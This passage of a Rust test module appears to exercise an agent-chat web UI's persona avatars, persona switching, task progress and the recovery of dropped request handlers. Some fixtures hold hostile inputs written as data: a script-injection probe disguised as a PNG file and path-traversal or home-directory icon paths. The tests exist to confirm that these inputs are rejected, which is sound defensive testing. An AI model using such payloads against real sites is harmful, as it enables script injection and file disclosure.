16093        let spoof = dir.path().join("spoof.png");
16094        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
16095        let big = dir.path().join("big.png");
16096        let mut bytes = tiny_png();
16097        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
16098        std::fs::write(&big, bytes).unwrap();
16099        let missing = dir.path().join("missing.png");
16100        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
16101        let extra = format!(
16102            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
16103             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
16104             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
16105             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
16106             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
16107             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
16108            uri(&good),
16109            uri(&spoof),
16110            uri(&big),
16111            uri(&missing),
16112        );
16113        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16114
16115        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
16116        assert_eq!(
16117            (status, ct.as_str(), nosniff),
16118            (StatusCode::OK, "image/png", true)
16119        );
16120        assert_eq!(body, tiny_png());
16121        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
16122        assert_eq!(ct, "image/png", "data URI");
16123
16124        for p in ["misato", "asuka", "shinji", "magi"] {
16125            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
16126            assert_eq!(
16127                (status, ct.as_str(), csp),
16128                (StatusCode::OK, "image/svg+xml", true),
16129                "{p}"
16130            );
16131            assert!(body.starts_with(b"<svg"), "{p}");
16132        }
16133        // The page's own retry skips the icon.
16134        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
16135        assert_eq!(ct, "image/svg+xml");
16136    }
16137
16138    #[tokio::test]
16139    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
16140        let oversized = format!(
16141            "data:image/png;base64,{}",
16142            "A".repeat(persona_icon::ICON_MAX_BYTES)
16143        );
16144        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
16145            let extra = format!(
16146                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
16147            );
16148            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16149            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16150                .await
16151                .expect("detail with invalid icon");
16152            assert!(detail.personas.iter().any(|p| p.id == "custom"));
16153            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
16154            assert_eq!(status, StatusCode::OK);
16155            assert_eq!(ct, "image/svg+xml");
16156            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
16157            let Json(view) = talk_persona(
16158                State(Arc::clone(&ui)),
16159                Path(id.clone()),
16160                Json(TalkPersona {
16161                    persona: "custom".into(),
16162                }),
16163            )
16164            .await
16165            .expect("persona switch with invalid icon");
16166            assert_eq!(view.talk.persona, "custom");
16167            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
16168        }
16169    }
16170
16171    #[tokio::test]
16172    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
16173        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16174        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
16175        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
16176        assert_eq!(
16177            (status, ct.as_str(), nosniff, csp),
16178            (StatusCode::OK, "image/svg+xml", true, true)
16179        );
16180    }
16181
16182    #[tokio::test]
16183    async fn the_talk_view_carries_server_built_avatar_urls_only() {
16184        let (_t, _h, ui, id, _repo) =
16185            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
16186        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16187            .await
16188            .expect("detail");
16189        let json = serde_json::to_string(&detail).unwrap();
16190        assert!(
16191            !json.contains("secret"),
16192            "the icon setting must not leak: {json}"
16193        );
16194        assert!(
16195            detail
16196                .view
16197                .persona_avatar
16198                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
16199        );
16200        assert_eq!(
16201            detail.view.operator_avatar,
16202            format!(
16203                "/avatars/operator.svg?v={}",
16204                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
16205            )
16206        );
16207        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
16208        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
16209        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
16210        assert!(rei.avatar.contains("persona=rei&v="));
16211        assert_ne!(
16212            rei.avatar.split("&v=").nth(1),
16213            plain.avatar.split("&v=").nth(1)
16214        );
16215    }
16216
16217    #[tokio::test]
16218    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
16219        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16220        let cfg = config_for(&repo).await.unwrap();
16221        for arrived in [false, true] {
16222            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
16223            let observed = ui.queued_generation(&id);
16224            let talk = ui.talks.get(&id).unwrap();
16225            if arrived {
16226                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
16227            }
16228            let mut settling = std::pin::pin!(settle_settings_turn(
16229                talk,
16230                ui.talks.clone(),
16231                cfg.clone(),
16232                id.clone(),
16233                turn,
16234                observed
16235            ));
16236            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
16237            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
16238            assert_eq!(first.is_pending(), arrived);
16239            if arrived {
16240                assert!(!settling.await);
16241            }
16242            assert!(!ui.is_thinking(&id));
16243        }
16244    }
16245
16246    #[tokio::test]
16247    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
16248        let tmp = TempDir::new().expect("tempdir");
16249        let repo = tmp.path().join("repo");
16250        std::fs::create_dir_all(&repo).expect("repo dir");
16251        std::fs::write(
16252            repo.join("magi.toml"),
16253            format!(
16254                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
16255            ),
16256        )
16257        .expect("write magi.toml");
16258        let home = TempDir::new().expect("temp home");
16259        let talks = Talks::at(home.path().join("talks"));
16260        let ui = Arc::new(
16261            Ui::new(
16262                Queue::at(home.path().join("queue")),
16263                Questions::at(home.path().join("questions")),
16264                talks.clone(),
16265                home.path().join("runs"),
16266                home.path().to_path_buf(),
16267                repo.clone(),
16268            )
16269            .with_worktrees_root(home.path().join("wt")),
16270        );
16271        let cfg = config_for(&repo).await.expect("discover config");
16272        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16273        let id = talk.id.clone();
16274        let call = |persona: &str| {
16275            talk_persona(
16276                State(Arc::clone(&ui)),
16277                Path(id.clone()),
16278                Json(TalkPersona {
16279                    persona: persona.to_owned(),
16280                }),
16281            )
16282        };
16283
16284        let unknown = call("nobody").await.expect_err("unknown persona");
16285        assert_eq!(
16286            unknown.status,
16287            StatusCode::BAD_REQUEST,
16288            "{}",
16289            unknown.message
16290        );
16291
16292        {
16293            // Nothing refused so far took a claim, so the guard is free to take
16294            // and holding it is what makes the talk busy.
16295            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
16296            let busy = call("rei").await.expect_err("busy talk");
16297            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
16298            assert!(
16299                busy.message.contains("a talk turn is running"),
16300                "{}",
16301                busy.message
16302            );
16303            drop(guard);
16304        }
16305        assert_eq!(talks.get(&id).expect("reload").persona, "");
16306
16307        let Json(view) = call("gendo").await.expect("switch to a configured persona");
16308        assert_eq!(view.talk.persona, "gendo");
16309        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
16310        assert!(!ui.is_thinking(&id), "idle response must release the claim");
16311        // No intervening I/O or sleep may be needed before another change.
16312        for chosen in ["default", "gendo", "rei", "gendo"] {
16313            let Json(view) = call(chosen).await.expect("immediate consecutive change");
16314            assert!(!view.thinking);
16315            assert!(!ui.is_thinking(&id));
16316        }
16317
16318        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16319            .await
16320            .expect("detail");
16321        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
16322        assert_eq!(ids.first(), Some(&"default"));
16323        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
16324
16325        let Json(view) = call("default").await.expect("back to default");
16326        assert_eq!(view.talk.persona, "");
16327
16328        let mut closed = talks.get(&id).expect("reload");
16329        talk::close(&mut closed, &talks).expect("close");
16330        let refused = call("rei").await.expect_err("closed talk");
16331        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
16332        assert!(
16333            refused.message.contains("takes no more turns"),
16334            "{}",
16335            refused.message
16336        );
16337    }
16338
16339    #[tokio::test]
16340    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
16341        let f = Fixture::start().await;
16342        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
16343        let queue = f.queue();
16344        let mut mine = Task::new(
16345            "rename the loader".to_owned(),
16346            "rename the loader".to_owned(),
16347            PathBuf::from("/repo/magi"),
16348            Source::Agent {
16349                run: talk_id.clone(),
16350                node: "chat".to_owned(),
16351            },
16352        );
16353        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
16354        assert_eq!(empty["task_progress"]["state"], "none");
16355        assert_eq!(empty["task_progress"]["total"], 0);
16356        queue.put(&mut mine).expect("file the task");
16357        let mut theirs = Task::new(
16358            "unrelated".to_owned(),
16359            "unrelated".to_owned(),
16360            PathBuf::from("/repo/magi"),
16361            Source::Human,
16362        );
16363        // A later task linked through origin_chat alone is outside this list.
16364        theirs.origin_chat = Some(talk_id.clone());
16365        queue.put(&mut theirs).expect("file the task");
16366
16367        let res = f.get(&format!("/api/talks/{talk_id}")).await;
16368        assert_eq!(res.status, 200, "{}", res.body);
16369        let body = res.json();
16370        assert_eq!(
16371            body["status"], "open",
16372            "filing a task does not close a talk"
16373        );
16374        let tasks = body["tasks"].as_array().expect("tasks array");
16375        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
16376        assert_eq!(tasks[0]["id"], mine.id);
16377        for status in [
16378            TaskStatus::Queued,
16379            TaskStatus::Running,
16380            TaskStatus::Held,
16381            TaskStatus::Failed,
16382            TaskStatus::Blocked,
16383            TaskStatus::Parked,
16384            TaskStatus::Done,
16385            TaskStatus::Queued,
16386        ] {
16387            mine.status = status;
16388            queue.put(&mut mine).expect("update status");
16389            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
16390            let progress = &detail["task_progress"];
16391            assert_eq!(progress["total"], 1);
16392            assert_eq!(progress["counts"][status.as_str()], 1);
16393            assert_eq!(detail["tasks"][0]["status"], status.as_str());
16394            assert_eq!(detail["status"], "open", "completion never closes the chat");
16395            if status == TaskStatus::Done {
16396                assert_eq!(progress["state"], "complete");
16397                assert_eq!(progress["done"], 1);
16398                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
16399            } else {
16400                assert_eq!(progress["state"], "incomplete");
16401                assert_eq!(progress["done"], 0);
16402                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
16403            }
16404        }
16405    }
16406
16407    #[test]
16408    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
16409        let home = tempfile::tempdir().unwrap();
16410        let runs = home.path().join("runs");
16411        let queue = Queue::at(home.path().join("queue"));
16412        let talks = Talks::at(home.path().join("talks"));
16413        let config = stub_config();
16414        let repo = PathBuf::from("/repo/magi");
16415        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
16416        let reserve_run = |repo| {
16417            let mut run = RunState::new(
16418                repo,
16419                "main".into(),
16420                "0000000".into(),
16421                "Follow the review".into(),
16422                config.clone(),
16423            );
16424            run.reserve_under(home.path()).unwrap();
16425            run
16426        };
16427        let older = reserve_run(repo.clone());
16428        let newer = reserve_run(repo.clone());
16429        let foreign = reserve_run(PathBuf::from("/repo/other"));
16430        let mismatched = reserve_run(repo.clone());
16431        let corrupt = reserve_run(repo.clone());
16432        let run_file = |id: &str| runs.join(id).join("run.json");
16433        std::fs::write(
16434            run_file(&mismatched.id),
16435            serde_json::to_vec(&older).unwrap(),
16436        )
16437        .unwrap();
16438        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
16439        let goal = |tasks: Vec<String>, runs: Vec<String>| {
16440            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
16441                "id": "g", "purpose": "Follow the review", "scope": "review",
16442                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
16443                "state": "waiting", "step": "Follow the recorded review",
16444                "source_turn": 0, "owner_input": "Follow the review",
16445                "tasks": tasks, "runs": runs, "watches": [],
16446                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
16447                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
16448            }))
16449            .unwrap()
16450        };
16451        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
16452
16453        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
16454        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
16455
16456        let unusable = vec![
16457            foreign.id.clone(),
16458            mismatched.id.clone(),
16459            corrupt.id.clone(),
16460            "missing".into(),
16461            "../escape".into(),
16462        ];
16463        let mut references = vec![older.id.clone()];
16464        references.extend(unusable.clone());
16465        talk.goals = vec![goal(vec![], references)];
16466        assert_eq!(link(&talk), Some(("run", older.id.clone())));
16467
16468        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
16469        assert_eq!(link(&talk), None);
16470
16471        let mut task = Task::new(
16472            "Review".into(),
16473            "Follow the review".into(),
16474            repo,
16475            Source::Human,
16476        );
16477        queue.put(&mut task).unwrap();
16478        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
16479        assert_eq!(link(&talk), Some(("task", task.id.clone())));
16480
16481        task.runs.push(older.id.clone());
16482        queue.put(&mut task).unwrap();
16483        assert_eq!(link(&talk), Some(("run", older.id)));
16484    }
16485
16486    #[test]
16487    fn talk_task_progress_counts_mixed_statuses() {
16488        let mut tasks: Vec<_> = [
16489            TaskStatus::Queued,
16490            TaskStatus::Running,
16491            TaskStatus::Held,
16492            TaskStatus::Failed,
16493            TaskStatus::Blocked,
16494            TaskStatus::Parked,
16495            TaskStatus::Done,
16496        ]
16497        .into_iter()
16498        .map(|status| {
16499            let mut task = Task::new(
16500                "task".into(),
16501                "task".into(),
16502                PathBuf::from("/repo"),
16503                Source::Human,
16504            );
16505            task.status = status;
16506            task
16507        })
16508        .collect();
16509        let progress = talk_task_progress(&tasks);
16510        assert_eq!(progress.state, "incomplete");
16511        assert_eq!(progress.total, 7);
16512        assert_eq!(progress.done, 1);
16513        assert_eq!(progress.unfinished_ids.len(), 6);
16514        assert!(progress.counts.values().all(|count| *count == 1));
16515        assert_eq!(
16516            progress.unfinished_ids,
16517            tasks[..6]
16518                .iter()
16519                .map(|task| task.id.clone())
16520                .collect::<Vec<_>>()
16521        );
16522
16523        for task in &mut tasks {
16524            task.status = TaskStatus::Done;
16525        }
16526        let complete = talk_task_progress(&tasks);
16527        assert_eq!(complete.state, "complete");
16528        assert_eq!(complete.done, 7);
16529        assert!(complete.unfinished_ids.is_empty());
16530        tasks[0].status = TaskStatus::Queued;
16531        let requeued = talk_task_progress(&tasks);
16532        assert_eq!(requeued.state, "incomplete");
16533        assert_eq!(requeued.done, 6);
16534        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16535
16536        let empty = talk_task_progress(&[]);
16537        assert_eq!(empty.state, "none");
16538        assert_eq!(empty.total, 0);
16539        assert_eq!(empty.done, 0);
16540        assert!(empty.unfinished_ids.is_empty());
16541        assert!(empty.counts.values().all(|count| *count == 0));
16542    }
16543
16544    #[tokio::test]
16545    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16546        let (_tmp, _repo, f) = talk_fixture().await;
16547        let id = f.post("/api/talks", None).await.json()["id"]
16548            .as_str()
16549            .expect("id")
16550            .to_owned();
16551
16552        let res = f
16553            .post(
16554                &format!("/api/talks/{id}/say"),
16555                Some(r#"{"text":"what does the queue module do?"}"#),
16556            )
16557            .await;
16558        assert_eq!(res.status, 202, "{}", res.body);
16559        let queued = res.json();
16560        let turns = queued["turns"].as_array().expect("turns array");
16561        assert_eq!(
16562            turns.len(),
16563            1,
16564            "the answer reflects only what is on disk the instant it is sent, \
16565             before the agent's turn - which can run for the whole of \
16566             `[graph] timeout_talk` - has a chance to land: {queued}"
16567        );
16568        assert_eq!(turns[0]["who"], "operator");
16569        assert_eq!(turns[0]["body"], "what does the queue module do?");
16570        assert_eq!(
16571            queued["thinking"], true,
16572            "the accepted response exposes the background turn claim: {queued}"
16573        );
16574
16575        let mut turns_after = 1;
16576        for _ in 0..SETTLE_STEPS {
16577            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16578            turns_after = detail["turns"].as_array().expect("turns array").len();
16579            if turns_after == 2 {
16580                break;
16581            }
16582            tokio::time::sleep(Duration::from_millis(10)).await;
16583        }
16584        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16585    }
16586
16587    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16588    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16589    /// guards against: `talk::record` used to return, and only *then* did the
16590    /// handler make a second, separate disk round trip before spawning the
16591    /// agent's reply task. A future dropped in that gap left a message
16592    /// recorded on disk with no reply task ever started and no way back short
16593    /// of a fresh message - and the gap was not even the whole story: *any*
16594    /// `.await` in this handler, including the very first one, is a point
16595    /// where a drop can land after the awaited work already finished but
16596    /// before this handler's own code resumes to act on it. `record` now
16597    /// runs inside the task `tokio::spawn` hands to the runtime before this
16598    /// handler ever awaits anything of its own again, so there is nothing
16599    /// left in *this* handler's future for a disconnect to interrupt between
16600    /// the message landing on disk and the reply task starting.
16601    ///
16602    /// A real socket disconnect cannot be relied on to land in the old gap
16603    /// from a test - over loopback, `talk_say` typically finishes before the
16604    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16605    /// same failure mode directly: it drops the task's future at whatever
16606    /// point it has reached, exactly what axum does to the handler future,
16607    /// without needing to win a real network race. Sweeping the delay before
16608    /// aborting samples a range of points the task's execution can be at,
16609    /// including where the old code sat waiting on its second disk round
16610    /// trip - confirmed by reverting this fix locally and watching this same
16611    /// sweep catch a talk stuck with the operator's turn recorded and no
16612    /// reply ever following.
16613    #[tokio::test]
16614    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16615        let tmp = TempDir::new().expect("tempdir");
16616        let repo = tmp.path().join("repo");
16617        std::fs::create_dir_all(&repo).expect("repo dir");
16618        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16619        let home = TempDir::new().expect("temp home");
16620        let talks = Talks::at(home.path().join("talks"));
16621        let ui = Arc::new(
16622            Ui::new(
16623                Queue::at(home.path().join("queue")),
16624                Questions::at(home.path().join("questions")),
16625                talks.clone(),
16626                home.path().join("runs"),
16627                home.path().to_path_buf(),
16628                repo.clone(),
16629            )
16630            .with_worktrees_root(home.path().join("wt")),
16631        );
16632        let cfg = config_for(&repo).await.expect("discover config");
16633
16634        for delay in 0..40u32 {
16635            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16636            let id = talk.id.clone();
16637
16638            let handler = tokio::spawn(talk_say(
16639                State(Arc::clone(&ui)),
16640                Path(id.clone()),
16641                Ok(Json(NewTalkTurn {
16642                    reply_to: None,
16643                    text: "what does the queue module do?".to_owned(),
16644                    attachments: Vec::new(),
16645                })),
16646            ));
16647            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16648            handler.abort();
16649            // Wait out the abort so the next iteration's talk does not race
16650            // this one's still-unwinding turn guard.
16651            let _ = handler.await;
16652
16653            let mut turns = 0;
16654            for _ in 0..SETTLE_STEPS {
16655                if let Ok(fresh) = talks.get(&id) {
16656                    turns = fresh.turns.len();
16657                    if turns != 1 {
16658                        break;
16659                    }
16660                }
16661                tokio::time::sleep(Duration::from_millis(10)).await;
16662            }
16663            assert_ne!(
16664                turns, 1,
16665                "delay {delay}: talk {id} recorded the operator's turn but \
16666                 the agent never answered - the reply task was never \
16667                 started after the handler future was dropped"
16668            );
16669        }
16670    }
16671
16672    /// The same drop, landing on `talk_say`'s other durable write.
16673    ///
16674    /// When a turn is already running, the busy branch persists the
16675    /// operator's text as a queued draft and then reclaims the turn slot if
16676    /// the holder gave it up in the meantime - and whoever reclaims owes that
16677    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16678    /// which finishes whether or not the future awaiting it is still there,
16679    /// so a handler dropped at that `.await` used to leave the draft written
16680    /// to disk with the reclaimed guard dropped unread and no drainer ever
16681    /// started: the message sat queued until some unrelated later `say`
16682    /// happened to pick it up.
16683    ///
16684    /// This used to drive the handler future by hand, polling it a fixed
16685    /// number of times to park it at the `.await` where it asks for the turn
16686    /// and finds it busy, before the reclaim's slot-free case could be set up
16687    /// underneath it. That assumed a fixed number of polls lands at a fixed
16688    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16689    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16690    /// poll, so any number of this handler's several `blocking` awaits can
16691    /// collapse into one poll under load, landing the drive somewhere other
16692    /// than intended - including, occasionally, straight past the handler's
16693    /// own completion, which made polling it again panic with "async fn
16694    /// resumed after completion". No poll count fixes that; the handler's
16695    /// progress simply is not something a caller outside it can observe by
16696    /// counting.
16697    ///
16698    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16699    /// inside the write itself, so the interleaving under test is pinned by
16700    /// an event instead of a guess: the gate fires only once the handler has
16701    /// actually decided `Busy` and is about to persist the draft, and it
16702    /// blocks that write until the test lets it through. Between those two
16703    /// moments the test drains the turn the handler found busy - through
16704    /// `drain_loop`, the protocol's other half - and then aborts the handler
16705    /// task outright, the same way axum drops a disconnected request's
16706    /// future. The write, and the reclaim it may do, run to completion
16707    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16708    /// to the runtime before ever touching the gate, wholly independent of
16709    /// whether the handler that started it is still around - which is what
16710    /// this test is actually checking. A drainer other than that reclaim
16711    /// cannot exist here: the test's own `drain_loop` call happens before the
16712    /// gate opens, so it runs while the queue is still empty and hands the
16713    /// turn straight back rather than draining anything, closing off the
16714    /// possibility of the final assertion passing without the reclaim ever
16715    /// having done its job.
16716    #[tokio::test]
16717    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16718        let tmp = TempDir::new().expect("tempdir");
16719        let repo = tmp.path().join("repo");
16720        std::fs::create_dir_all(&repo).expect("repo dir");
16721        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16722        let home = TempDir::new().expect("temp home");
16723        let talks = Talks::at(home.path().join("talks"));
16724        let ui = Arc::new(
16725            Ui::new(
16726                Queue::at(home.path().join("queue")),
16727                Questions::at(home.path().join("questions")),
16728                talks.clone(),
16729                home.path().join("runs"),
16730                home.path().to_path_buf(),
16731                repo.clone(),
16732            )
16733            .with_worktrees_root(home.path().join("wt")),
16734        );
16735        let cfg = config_for(&repo).await.expect("discover config");
16736        // Both waits guard against hangs, not slow filesystem or Git work on
16737        // a loaded test host. The gates and lock polls assert the ordering.
16738        let hang_guard = Duration::from_secs(30);
16739
16740        for attempt in 0..3u32 {
16741            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16742            let id = talk.id.clone();
16743            // A turn is already running, which is what sends `talk_say` down
16744            // the busy branch.
16745            let turn_guard = ui
16746                .begin_talk_turn(&id)
16747                .expect("claim the turn")
16748                .expect("a fresh talk owes nobody a turn");
16749
16750            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16751            let (release_tx, release_rx) = std::sync::mpsc::channel();
16752            ui.set_busy_queue_gate(BusyQueueGate {
16753                reached: reached_tx,
16754                release: release_rx,
16755            });
16756
16757            let handler = tokio::spawn(talk_say(
16758                State(Arc::clone(&ui)),
16759                Path(id.clone()),
16760                Ok(Json(NewTalkTurn {
16761                    reply_to: None,
16762                    text: "what does the queue module do?".to_owned(),
16763                    attachments: Vec::new(),
16764                })),
16765            ));
16766
16767            // Wait for the busy branch to actually reach the gate, rather
16768            // than for any fixed number of polls of anything - a bounded
16769            // wait rather than a bare `.await` so a regression that never
16770            // reaches the gate fails the test instead of hanging it.
16771            tokio::time::timeout(hang_guard, reached_rx)
16772                .await
16773                .unwrap_or_else(|_| {
16774                    panic!(
16775                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16776                    )
16777                })
16778                .expect("the busy branch dropped the gate without using it");
16779            assert!(
16780                crate::chat_worker::try_publication_guard(&talks, &id)
16781                    .expect("publication fence")
16782                    .is_none(),
16783                "a queued worker cannot promote text before its successor reservation is published"
16784            );
16785
16786            // A listener replacement queues its writer behind this accepted
16787            // mutation. Even disconnecting the HTTP caller must not release
16788            // admission before the write-to-worker handoff has completed.
16789            let closing = Arc::clone(&ui.admissions).write_owned();
16790            tokio::pin!(closing);
16791            std::future::poll_fn(|cx| {
16792                assert!(closing.as_mut().poll(cx).is_pending());
16793                std::task::Poll::Ready(())
16794            })
16795            .await;
16796            assert!(
16797                ui.begin_admission().is_err(),
16798                "replacement blocks later admissions"
16799            );
16800
16801            // The turn that was running now finishes and gives the slot up
16802            // the way a real one does - through `drain_loop`, which finds
16803            // nothing queued yet (the write is still held at the gate) and
16804            // releases. The handler, parked inside `spawn_blocking` on the
16805            // other side of the gate, still believes the talk is busy -
16806            // exactly the interleaving the reclaim exists for.
16807            let running = talks.get(&id).expect("reload talk");
16808            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16809
16810            // Drop the handler future now, the way a reloading phone drops
16811            // it: suspended waiting on the busy branch's answer, having
16812            // itself made no more progress since it handed the write off.
16813            handler.abort();
16814            let _ = handler.await;
16815            std::future::poll_fn(|cx| {
16816                assert!(
16817                    closing.as_mut().poll(cx).is_pending(),
16818                    "HTTP cancellation must not abandon a publishing transaction"
16819                );
16820                std::task::Poll::Ready(())
16821            })
16822            .await;
16823            assert!(
16824                crate::chat_worker::try_publication_guard(&talks, &id)
16825                    .expect("publication fence after disconnect")
16826                    .is_none()
16827            );
16828
16829            // Only now let the gated write proceed. It persists the draft
16830            // and reclaims the now-free slot from inside the task the busy
16831            // branch already spawned - unaffected by the handler's abort
16832            // above, since that task was independent of the handler's own
16833            // future from the moment it was spawned.
16834            release_tx.send(()).expect("busy queue write still gated");
16835            drop(
16836                tokio::time::timeout(hang_guard, closing)
16837                    .await
16838                    .unwrap_or_else(|_| {
16839                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16840                    }),
16841            );
16842            assert!(
16843                crate::chat_worker::try_publication_guard(&talks, &id)
16844                    .expect("publication fence after acknowledgement")
16845                    .is_some(),
16846                "the publication fence is not retained by the long response"
16847            );
16848
16849            // A settled talk: the draft drained into an operator turn and
16850            // answered.
16851            let mut fresh = talks.get(&id).expect("reload talk");
16852            for _ in 0..SETTLE_STEPS {
16853                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16854                    break;
16855                }
16856                tokio::time::sleep(Duration::from_millis(10)).await;
16857                fresh = talks.get(&id).expect("reload talk");
16858            }
16859            assert!(
16860                fresh.pending.is_empty() && fresh.turns.len() == 2,
16861                "attempt {attempt}: talk {id} left the operator's text queued \
16862                 with no drainer - the reclaimed turn was dropped along with \
16863                 the handler future (pending {:?}, {} turns)",
16864                fresh.pending,
16865                fresh.turns.len()
16866            );
16867        }
16868    }
16869
16870    #[tokio::test]
16871    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16872        let (_tmp, _repo, f) = talk_fixture().await;
16873        let id = f.post("/api/talks", None).await.json()["id"]
16874            .as_str()
16875            .expect("id")
16876            .to_owned();
16877        let store = f.talks();
16878        let mut recovered = store.get(&id).expect("opened talk");
16879        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16880            .expect("persist pending draft without a live turn");
16881
16882        let edited = f
16883            .post(
16884                &format!("/api/talks/{id}/pending/edit"),
16885                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16886            )
16887            .await;
16888        assert_eq!(edited.status, 200, "{}", edited.body);
16889        assert!(edited.json()["thinking"].as_bool().unwrap());
16890
16891        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16892        for _ in 0..SETTLE_STEPS {
16893            if detail["turns"].as_array().expect("turns").len() == 2 {
16894                break;
16895            }
16896            tokio::time::sleep(Duration::from_millis(10)).await;
16897            detail = f.get(&format!("/api/talks/{id}")).await.json();
16898        }
16899        let turns = detail["turns"].as_array().expect("turns");
16900        assert_eq!(
16901            turns.len(),
16902            2,
16903            "the recovered draft must run once: {detail}"
16904        );
16905        assert_eq!(turns[0]["body"], "corrected");
16906        assert_eq!(detail["pending"], "");
16907    }
16908
16909    #[tokio::test]
16910    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16911        let tmp = TempDir::new().expect("tempdir");
16912        let repo = tmp.path().join("repo");
16913        std::fs::create_dir_all(&repo).expect("repo dir");
